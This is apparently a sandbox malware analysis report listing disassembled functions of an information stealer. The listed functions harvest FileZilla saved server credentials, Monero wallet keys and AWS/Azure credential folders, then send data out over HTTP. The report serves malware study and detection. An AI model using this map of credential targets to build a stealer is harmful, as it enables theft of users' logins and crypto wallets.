Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00390250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

GetProcessHeap.KERNEL32(00000000,000F423F,003A0DBA,003A0DB7,003A0DB6,003A0DB3), ref: 00390362
RtlAllocateHeap.NTDLL(00000000), ref: 00390369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00390385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390393
StrStrA.SHLWAPI(00000000,<Port>), ref: 003903CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 003903DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00390419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00390463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 0039051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 0039054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00390562
lstrcat.KERNEL32(?,profile: null), ref: 00390571
lstrcat.KERNEL32(?,url: ), ref: 00390580
lstrcat.KERNEL32(?,00000000), ref: 00390593
lstrcat.KERNEL32(?,003A1678), ref: 003905A2
lstrcat.KERNEL32(?,00000000), ref: 003905B5
lstrcat.KERNEL32(?,003A167C), ref: 003905C4
lstrcat.KERNEL32(?,login: ), ref: 003905D3
lstrcat.KERNEL32(?,00000000), ref: 003905E6
lstrcat.KERNEL32(?,003A1688), ref: 003905F5
lstrcat.KERNEL32(?,password: ), ref: 00390604
lstrcat.KERNEL32(?,00000000), ref: 00390617
lstrcat.KERNEL32(?,003A1698), ref: 00390626
lstrcat.KERNEL32(?,003A169C), ref: 00390635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 0039068E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 003902A4
url: , xrefs: 00390577
<User>, xrefs: 00390410
profile: null, xrefs: 00390568
password: , xrefs: 003905FB
<Pass encoding="base64">, xrefs: 0039045A
<Port>, xrefs: 003903C6
browser: FileZilla, xrefs: 00390559
login: , xrefs: 003905CA
<Host>, xrefs: 0039037C

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 4878d69a3dc944da5033a94e811daeabe1e7f714640c979e261586454f72fc96
Instruction ID: a675b7d6eb5ca964119c59deb12c0e28e2475d838f07d6a4316e569390cd4ca6
Opcode Fuzzy Hash: 4878d69a3dc944da5033a94e811daeabe1e7f714640c979e261586454f72fc96
Instruction Fuzzy Hash: 7CD13D72910608AFDF06EBE4DD96EEE7778EF15300F404518F502BA091DF74AA0ADBA1

Function 00385960 Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
Part of subcall function 003847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003859F8
StrCmpCA.SHLWAPI(?,00E3EA88), ref: 00385A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00385B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00E3EA98,00000000,?,00E3A4B0,00000000,?,003A1A1C), ref: 00385E71
lstrlen.KERNEL32(00000000), ref: 00385E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00385E93
RtlAllocateHeap.NTDLL(00000000), ref: 00385E9A
lstrlen.KERNEL32(00000000), ref: 00385EAF
lstrlen.KERNEL32(00000000), ref: 00385ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00385EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00385F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00385F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00385F4C
InternetCloseHandle.WININET(00000000), ref: 00385FB0
InternetCloseHandle.WININET(00000000), ref: 00385FBD
HttpOpenRequestA.WININET(00000000,00E3EA58,?,00E3DFD8,00000000,00000000,00400100,00000000), ref: 00385BF8

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

InternetCloseHandle.WININET(00000000), ref: 00385FC7

Strings

", xrefs: 00385CD5
8, xrefs: 00385CAC
X, xrefs: 00385BEA
------, xrefs: 00385A96
------, xrefs: 00385D4C
------, xrefs: 00385C0B
", xrefs: 00385E16

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$8$X
API String ID: 874700897-1993953560
Opcode ID: d8a23c89ca81b3b93fb8450fa8c98e488846a280cff1c1f8da5a65cf1c488b7e
Instruction ID: e91796b22bdf9f3c62f2f34ef905ec35b1b8af46608005375ee9fcca32ae0383
Opcode Fuzzy Hash: d8a23c89ca81b3b93fb8450fa8c98e488846a280cff1c1f8da5a65cf1c488b7e
Instruction Fuzzy Hash: 1712F171820528ABDF16EBA0DC95FEEB778BF14700F504299F10A66091EF702A49DFA5

Function 0038CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,00E3A360,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0038CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0038D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0038D0CE
lstrcat.KERNEL32(?,00000000), ref: 0038D208
lstrcat.KERNEL32(?,003A1478), ref: 0038D217
lstrcat.KERNEL32(?,00000000), ref: 0038D22A
lstrcat.KERNEL32(?,003A147C), ref: 0038D239
lstrcat.KERNEL32(?,00000000), ref: 0038D24C
lstrcat.KERNEL32(?,003A1480), ref: 0038D25B
lstrcat.KERNEL32(?,00000000), ref: 0038D26E
lstrcat.KERNEL32(?,003A1484), ref: 0038D27D
lstrcat.KERNEL32(?,00000000), ref: 0038D290
lstrcat.KERNEL32(?,003A1488), ref: 0038D29F
lstrcat.KERNEL32(?,00000000), ref: 0038D2B2
lstrcat.KERNEL32(?,003A148C), ref: 0038D2C1
lstrcat.KERNEL32(?,00000000), ref: 0038D2D4
lstrcat.KERNEL32(?,003A1490), ref: 0038D2E3

Part of subcall function 0039A820: lstrlen.KERNEL32(00384F05,?,?,00384F05,003A0DDE), ref: 0039A82B
Part of subcall function 0039A820: lstrcpy.KERNEL32(003A0DDE,00000000), ref: 0039A885

lstrlen.KERNEL32(?), ref: 0038D32A
lstrlen.KERNEL32(?), ref: 0038D339

Part of subcall function 0039AA70: StrCmpCA.SHLWAPI(00E39038,0038A7A7,?,0038A7A7,00E39038), ref: 0039AA8F

DeleteFileA.KERNEL32(00000000), ref: 0038D3B4

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 2e6fe513bb3b6d1cdddc236b3023b541a5ffcc86effae98166bd7c963e7b5d35
Instruction ID: 57da89655aa0ababfb5db5da74ec57371d1a6649ca0afadb32593545044f7eda
Opcode Fuzzy Hash: 2e6fe513bb3b6d1cdddc236b3023b541a5ffcc86effae98166bd7c963e7b5d35
Instruction Fuzzy Hash: 08E11F71910518AFCF06EBA0DD96EEE7778BF24305F104258F106BA091DF35AE09DBA2

Function 00398320 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

RegOpenKeyExA.ADVAPI32(00000000,00E3B648,00000000,00020019,00000000,003A05B6), ref: 003983A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00398426
wsprintfA.USER32 ref: 00398459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0039847B
RegCloseKey.ADVAPI32(00000000), ref: 0039848C
RegCloseKey.ADVAPI32(00000000), ref: 00398499

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Strings

@, xrefs: 0039858C
- , xrefs: 003985A3
P, xrefs: 003984DF
%s\%s, xrefs: 0039844D
?, xrefs: 0039837A

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?$@$P
API String ID: 3246050789-3997378294
Opcode ID: 37553fbb7cd592ea49218206f0a6177991c26312428163116ad643566d3f56c2
Instruction ID: b8eda88b2d5f85d38733ddd5ca4848b362f4c748ae964b407b8f8b58f20f80f7
Opcode Fuzzy Hash: 37553fbb7cd592ea49218206f0a6177991c26312428163116ad643566d3f56c2
Instruction Fuzzy Hash: 2381F97191051CABEB29DB60CD95FEAB7B8FF58704F008298E109A6140DF716A89CFE1

Function 0038C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00E3CEE8,00000000,?,003A144C,00000000,?,?), ref: 0038CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0038CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0038CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0038CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0038CAD9
StrStrA.SHLWAPI(?,00E3D080,003A0B52), ref: 0038CAF7
StrStrA.SHLWAPI(00000000,00E3CF30), ref: 0038CB1E
StrStrA.SHLWAPI(?,00E3D9A0,00000000,?,003A1458,00000000,?,00000000,00000000,?,00E38FC8,00000000,?,003A1454,00000000,?), ref: 0038CCA2
StrStrA.SHLWAPI(00000000,00E3D960), ref: 0038CCB9

Part of subcall function 0038C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0038C871
Part of subcall function 0038C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0038C87C

StrStrA.SHLWAPI(?,00E3D960,00000000,?,003A145C,00000000,?,00000000,00E39028), ref: 0038CD5A
StrStrA.SHLWAPI(00000000,00E39138), ref: 0038CD71

Part of subcall function 0038C820: lstrcat.KERNEL32(?,003A0B46), ref: 0038C943
Part of subcall function 0038C820: lstrcat.KERNEL32(?,003A0B47), ref: 0038C957
Part of subcall function 0038C820: lstrcat.KERNEL32(?,003A0B4E), ref: 0038C978

lstrlen.KERNEL32(00000000), ref: 0038CE44
CloseHandle.KERNEL32(00000000), ref: 0038CE9C

Strings

, xrefs: 0038C9C6

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: df8127a1c8ce5292c1b76ec11bf2224e1b6729876287c5a52a290cff920aaf1a
Instruction ID: 7dd43e767064e1c80c8013c557f8a26ca7a028b7bcd8e73447b1425395b13a2d
Opcode Fuzzy Hash: df8127a1c8ce5292c1b76ec11bf2224e1b6729876287c5a52a290cff920aaf1a
Instruction Fuzzy Hash: FAE1FF71910518AFDF16EBA4DC95FEEBB78BF14300F404259F1066B191EF306A4ADBA2

Function 003912D0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

, xrefs: 00391489
`, xrefs: 00391518

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: $`
API String ID: 2001356338-103900699
Opcode ID: 10a8d96b70d604dbc9eb4b82f5c727769fa17bed535474775621c8936eea16f7
Instruction ID: b316746347b0bb88d032974e7f72cb4a15a3938602319e31ddb37e3f05f3254a
Opcode Fuzzy Hash: 10a8d96b70d604dbc9eb4b82f5c727769fa17bed535474775621c8936eea16f7
Instruction Fuzzy Hash: DAC196B690021D9BCF15EF60DC89FEA7778BF64304F004599F50AAB241DB70AA85DF91

Function 00394D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

lstrcat.KERNEL32(?,00000000), ref: 00394DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00394DCD

Part of subcall function 00394910: wsprintfA.USER32 ref: 0039492C
Part of subcall function 00394910: FindFirstFileA.KERNEL32(?,?), ref: 00394943

lstrcat.KERNEL32(?,00000000), ref: 00394E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00394E59

Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A0FDC), ref: 00394971
Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A0FE0), ref: 00394987
Part of subcall function 00394910: FindNextFileA.KERNEL32(000000FF,?), ref: 00394B7D
Part of subcall function 00394910: FindClose.KERNEL32(000000FF), ref: 00394B92

lstrcat.KERNEL32(?,00000000), ref: 00394EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00394EE5

Part of subcall function 00394910: wsprintfA.USER32 ref: 003949B0
Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A08D2), ref: 003949C5
Part of subcall function 00394910: wsprintfA.USER32 ref: 003949E2
Part of subcall function 00394910: PathMatchSpecA.SHLWAPI(?,?), ref: 00394A1E
Part of subcall function 00394910: lstrcat.KERNEL32(?,00E3EA68), ref: 00394A4A
Part of subcall function 00394910: lstrcat.KERNEL32(?,003A0FF8), ref: 00394A5C
Part of subcall function 00394910: lstrcat.KERNEL32(?,?), ref: 00394A70
Part of subcall function 00394910: lstrcat.KERNEL32(?,003A0FFC), ref: 00394A82
Part of subcall function 00394910: lstrcat.KERNEL32(?,?), ref: 00394A96
Part of subcall function 00394910: CopyFileA.KERNEL32(?,?,00000001), ref: 00394AAC
Part of subcall function 00394910: DeleteFileA.KERNEL32(?), ref: 00394B31

Strings

*.*, xrefs: 00394DD8
